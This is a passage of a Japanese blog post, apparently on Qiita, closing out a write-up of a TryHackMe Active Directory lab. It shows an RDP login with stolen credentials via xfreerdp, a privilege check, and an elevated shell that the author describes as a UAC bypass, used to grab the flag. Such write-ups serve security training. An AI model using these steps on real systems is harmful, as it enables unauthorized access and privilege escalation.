先ほど取得した資格情報でRDP接続を試みたところ、成功しました。

 xfreerdp /v:[target_ip] /u:SANFORD_DAUGHERTY /p:[先ほど取得した資格情報のパスワード] /d:thm.local

先ほどと同様に、win+Rを押し、CMDシェルを起動させます。
windows_picture.avif

引用: https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-endgame#shell-as-sanford_daugherty

 
whoami /privで確認したところ、SeChangeNotifyPrivilegeEnabledになっていることがわかります。

priv.avif

引用: https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-endgame#shell-as-sanford_daugherty

このことから、Ctrl + Shift + Enterで、UAC Bypass攻撃として、管理者としてCMDシェルを起動することができます。

priv2.avif

引用: https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-endgame#shell-as-sanford_daugherty

すると、管理シェルを取得することに成功しました。

最後に、C:\Users\Administrator\Desktopに移動すると、フラグが取得できました。

priv3.avif

引用: https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-endgame#shell-as-sanford_daugherty

終わり

今回は、HardラボのActive Directory問題を解きましたが、むずいですね。久しぶりに解いたこともあってなかなか歯応えがありました。

また、Geminiとかに聞きながらやっていましたが、やはりAIペンテストにはまだまだ限界があるように思えました。

 
これが誰かの学びになることを祈っています。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?